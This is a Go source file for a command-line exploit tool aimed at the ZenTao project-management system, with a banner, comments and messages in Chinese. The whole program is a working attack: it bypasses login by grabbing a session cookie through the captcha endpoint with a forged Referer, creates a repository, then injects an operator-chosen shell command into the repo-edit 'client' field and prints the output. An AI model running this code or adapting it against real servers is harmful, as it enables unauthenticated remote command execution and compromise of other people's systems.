285 lines
8.9 KiB
Go
285 lines
8.9 KiB
Go
// @File : main.go
|
||
// @Time : 2023/01/17 14:25:22
|
||
// @Author : _0xf4n9x_
|
||
// @Version : 1.0
|
||
// @Contact : fanq.xu@gmail.com
|
||
|
||
package main
|
||
|
||
import (
|
||
"bufio"
|
||
"encoding/json"
|
||
"flag"
|
||
"fmt"
|
||
"math/rand"
|
||
neturl "net/url"
|
||
"os"
|
||
"regexp"
|
||
"strings"
|
||
"time"
|
||
|
||
"github.com/go-resty/resty/v2"
|
||
"github.com/projectdiscovery/gologger"
|
||
)
|
||
|
||
const banner = `
|
||
####### ####### ##### ###### ##### #######
|
||
# # # # ## ##### ##### #### # # ## # # # # #
|
||
# # # # # # # # # # # # # # # # # #
|
||
# # # # # # # # # ###### # # ###### # #####
|
||
# # # ###### ##### # # # # ###### # # # #
|
||
# # # # # # # # # # # # # # # # # # #
|
||
####### # ##### # # # # #### # # # # # # ##### #######
|
||
`
|
||
|
||
var (
|
||
h bool
|
||
url string
|
||
proxyURL string
|
||
command string
|
||
stdin bool
|
||
baseURL string // Zentao WebRoot Path
|
||
timeout int
|
||
requestType string
|
||
zentaosid string
|
||
repoID string
|
||
)
|
||
|
||
func showBanner() {
|
||
gologger.Print().Msgf("%s\n", banner)
|
||
}
|
||
|
||
func hasStdin() bool {
|
||
stat, err := os.Stdin.Stat()
|
||
if err != nil {
|
||
return false
|
||
}
|
||
isPipedFromChrDev := (stat.Mode() & os.ModeCharDevice) == 0
|
||
isPipedFromFIFO := (stat.Mode() & os.ModeNamedPipe) != 0
|
||
return isPipedFromChrDev || isPipedFromFIFO
|
||
}
|
||
|
||
func init() {
|
||
flag.BoolVar(&h, "h", false, "显示帮助信息")
|
||
flag.StringVar(&url, "u", "", "目标URL,例如:http://example.com")
|
||
flag.StringVar(&proxyURL, "p", "", "使用代理,例如:http://127.0.0.1:8080")
|
||
flag.StringVar(&command, "c", "", "期望被执行的命令")
|
||
flag.IntVar(&timeout, "t", 15, "请求超时时间")
|
||
flag.Parse()
|
||
|
||
stdin = hasStdin()
|
||
|
||
showBanner()
|
||
|
||
// -h flag or no flag, no stdin
|
||
if h || (len(os.Args) == 1 && !stdin) {
|
||
flag.Usage()
|
||
os.Exit(0)
|
||
}
|
||
|
||
// no url and no stdin
|
||
if url == "" && !stdin {
|
||
gologger.Error().Msg("目标不能为空,使用-h参数查看帮助信息。\n\n")
|
||
os.Exit(0)
|
||
}
|
||
|
||
// stdin to url
|
||
if stdin && url == "" {
|
||
scanner := bufio.NewScanner(os.Stdin)
|
||
for scanner.Scan() {
|
||
t := scanner.Text()
|
||
if t == "" {
|
||
continue
|
||
}
|
||
url = t
|
||
}
|
||
}
|
||
|
||
// check url url format.
|
||
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||
gologger.Error().Msg("请检查输入的目标URL格式!\n\n")
|
||
os.Exit(0)
|
||
}
|
||
|
||
// no command
|
||
if command == "" {
|
||
gologger.Error().Msg("请输入要执行的命令!\n\n")
|
||
os.Exit(0)
|
||
}
|
||
}
|
||
|
||
func main() {
|
||
gologger.Print().Label("INFO").Msg("Target URL: " + url)
|
||
exploit(url, command, proxyURL)
|
||
}
|
||
|
||
func exploit(url string, command string, proxyURL string) bool {
|
||
client := resty.New()
|
||
client.SetTimeout(15 * time.Second)
|
||
|
||
if proxyURL != "" {
|
||
gologger.Print().Label("INFO").Msg("Proxy: " + proxyURL)
|
||
client.SetProxy(proxyURL)
|
||
}
|
||
|
||
// 1. 确定正确完整的Zentao baseURL
|
||
u, _ := neturl.Parse(url)
|
||
paths := []string{"/", "/zentao/"}
|
||
|
||
userAgent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36"
|
||
|
||
zentaoPath := false
|
||
for _, path := range paths {
|
||
uri := u.Path + path
|
||
baseURL = u.Scheme + "://" + u.Host + strings.Replace(uri, "//", "/", -1)
|
||
baseResp, _ := client.R().
|
||
SetHeader("User-Agent", userAgent).
|
||
Get(baseURL)
|
||
if baseResp.StatusCode() == 200 && strings.Contains(string(baseResp.Body()), "/user-login") {
|
||
zentaoPath = true
|
||
break
|
||
}
|
||
}
|
||
if !zentaoPath {
|
||
baseURL = url
|
||
gologger.Print().Label("WARN").Msg("Zentao Web根路径未找到,使用输入的URL代替之。")
|
||
} else {
|
||
gologger.Print().Label("INFO").Msg("Zentao Web根路径: " + baseURL)
|
||
}
|
||
|
||
// 2. 获取请求类型
|
||
configURL := baseURL + "?mode=getconfig"
|
||
configResp, _ := client.R().
|
||
SetHeader("User-Agent", userAgent).
|
||
Get(configURL)
|
||
|
||
if strings.Contains(string(configResp.Body()), "requestType\":") {
|
||
var jsonResp map[string]interface{}
|
||
_ = json.Unmarshal(configResp.Body(), &jsonResp)
|
||
if strings.Contains(jsonResp["requestType"].(string), "PATH_INFO") {
|
||
requestType = "PATH_INFO"
|
||
gologger.Print().Label("INFO").Msg("requestType: " + requestType)
|
||
} else if strings.Contains(jsonResp["requestType"].(string), "GET") {
|
||
requestType = "GET"
|
||
gologger.Print().Label("INFO").Msg("requestType: " + requestType)
|
||
}
|
||
} else {
|
||
requestType = "PATH_INFO"
|
||
gologger.Print().Label("WARN").Msg("requestType没有获取到,默认使用PATH_INFO")
|
||
}
|
||
|
||
referURL := baseURL + "index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM="
|
||
|
||
// 3. 获取Cookie绕过认证
|
||
captchaURL := baseURL + getURI("misc-captcha-user", requestType)
|
||
captchaResp, _ := client.R().
|
||
SetHeader("User-Agent", userAgent).
|
||
SetHeader("Referer", referURL).
|
||
SetHeader("HTTP_SEC_FETCH_DEST", "frame").
|
||
Get(captchaURL)
|
||
|
||
if captchaResp.StatusCode() == 200 && captchaResp.Header().Get("Content-Type") == "image/jpeg" {
|
||
// zentaosid=a3adde2af35c975f042d0ee0fc349019; lang=zh-cn; device=desktop; theme=default
|
||
cookies := string(captchaResp.Request.Header.Get("Cookie"))
|
||
if strings.Contains(cookies, "zentaosid") {
|
||
for _, v := range strings.Split(cookies, "; ") {
|
||
if strings.Contains(v, "zentaosid") {
|
||
zentaosid = strings.Split(v, "=")[1]
|
||
gologger.Print().Label("INFO").Msg("zentaosid: " + zentaosid)
|
||
break
|
||
}
|
||
}
|
||
}
|
||
} else {
|
||
gologger.Error().Msg("尝试绕过认证失败。\n")
|
||
os.Exit(0)
|
||
}
|
||
|
||
// 4. 创建仓库,并获取repoID
|
||
createURL := baseURL + getURI("repo-create-123", requestType)
|
||
createdata := fmt.Sprintf("SCM=Gitlab&client=foo&serviceHost=zentao.gitlab.com&serviceProject=%s&serviceToken=admin&path=123&product=%s&name=%s&encoding=UTF8", genRandStr(10), genRandStr(10), genRandStr(10))
|
||
createResp, _ := client.R().
|
||
SetHeader("User-Agent", userAgent).
|
||
SetHeader("Referer", referURL).
|
||
SetHeader("Content-Type", "application/x-www-form-urlencoded").
|
||
SetBody(createdata).
|
||
Post(createURL)
|
||
|
||
createbody := string(createResp.Body())
|
||
if strings.Contains(createbody, "repo-showSyncCommit") {
|
||
bodyArr := strings.Split(createbody, "-")
|
||
repoID = bodyArr[len(bodyArr)-2]
|
||
} else if strings.Contains(string(createResp.Body()), "showSyncCommit&repoID") {
|
||
bodyArr := strings.Split(createbody, "&")
|
||
repo := bodyArr[len(bodyArr)-2]
|
||
repoArr := strings.Split(repo, "=")
|
||
repoID = repoArr[len(repoArr)-1]
|
||
} else {
|
||
gologger.Error().Msg("repoID没有找到。\n")
|
||
os.Exit(0)
|
||
}
|
||
gologger.Print().Label("INFO").Msg("repoID: " + repoID)
|
||
|
||
// 5. 命令注入
|
||
editURL := baseURL + getURI(fmt.Sprintf("repo-edit-%s", repoID), requestType)
|
||
datas := []string{fmt.Sprintf("SCM=Subversion&client=`%s`&gitlabHost=http://foo&gitlabProject=foo&gitlabToken=123&name=123&product=123&path=123", command), fmt.Sprintf("SCM=Subversion&client=%s&gitlabHost=http://foo&gitlabProject=foo&gitlabToken=123&name=123&product=123&path=123", command)}
|
||
|
||
for _, data := range datas {
|
||
editResp, _ := client.R().
|
||
SetHeader("User-Agent", userAgent).
|
||
SetHeader("Referer", referURL).
|
||
SetHeader("X-Requested-With", "XMLHttpRequest").
|
||
SetHeader("Content-Type", "application/x-www-form-urlencoded").
|
||
SetBody(data).
|
||
Post(editURL)
|
||
editbody := string(editResp.Body())
|
||
|
||
if editResp.StatusCode() == 200 && strings.Contains(editbody, ": not found") {
|
||
// 有回显情况
|
||
var re = regexp.MustCompile(`(?m): 1: (.*): not found`)
|
||
result := re.FindStringSubmatch(editbody)[1]
|
||
gologger.Print().Label("INFO").Msg("Command: " + command)
|
||
gologger.Print().Label("INFO").Msg("命令执行结果: " + result)
|
||
return true
|
||
} else if (editResp.StatusCode() == 200 && strings.Contains(editbody, "/user-deny-repo-edit") && strings.Contains(editbody, "self.location=")) || strings.Contains(editbody, `\u5ba2\u6237\u7aef\u5b89\u88c5\u76ee\u5f55\u4e0d\u80fd\u6709\u7a7a\u683c\uff01`) {
|
||
// 无回显情况
|
||
gologger.Print().Label("INFO").Msg("Command: " + command)
|
||
gologger.Print().Label("INFO").Msg("当前命令执行可能无回显,请尝试使用带外方式。")
|
||
return true
|
||
} else {
|
||
continue
|
||
}
|
||
}
|
||
gologger.Print().Label("WARN").Msg("命令执行失败,后台命令执行漏洞可能已被修复。")
|
||
|
||
return true
|
||
}
|
||
|
||
func getURI(path string, requestType string) string {
|
||
if requestType == "PATH_INFO" {
|
||
return path
|
||
} else if requestType == "GET" {
|
||
params := strings.Split(path, "-")
|
||
if len(params) < 2 {
|
||
return path
|
||
}
|
||
uri := fmt.Sprintf("?m=%s&f=%s", params[0], params[1]) // ?m=misc&f=captcha
|
||
params = params[2:]
|
||
for i, aParam := range params {
|
||
uri += fmt.Sprintf("&arg%d=%s", i+1, aParam)
|
||
}
|
||
return uri // ?m=misc&f=captcha&arg1=user
|
||
}
|
||
return path
|
||
}
|
||
|
||
func genRandStr(length int) string {
|
||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||
b := make([]byte, length)
|
||
for i := range b {
|
||
b[i] = charset[seededRand.Intn(len(charset))]
|
||
}
|
||
return string(b)
|
||
}
|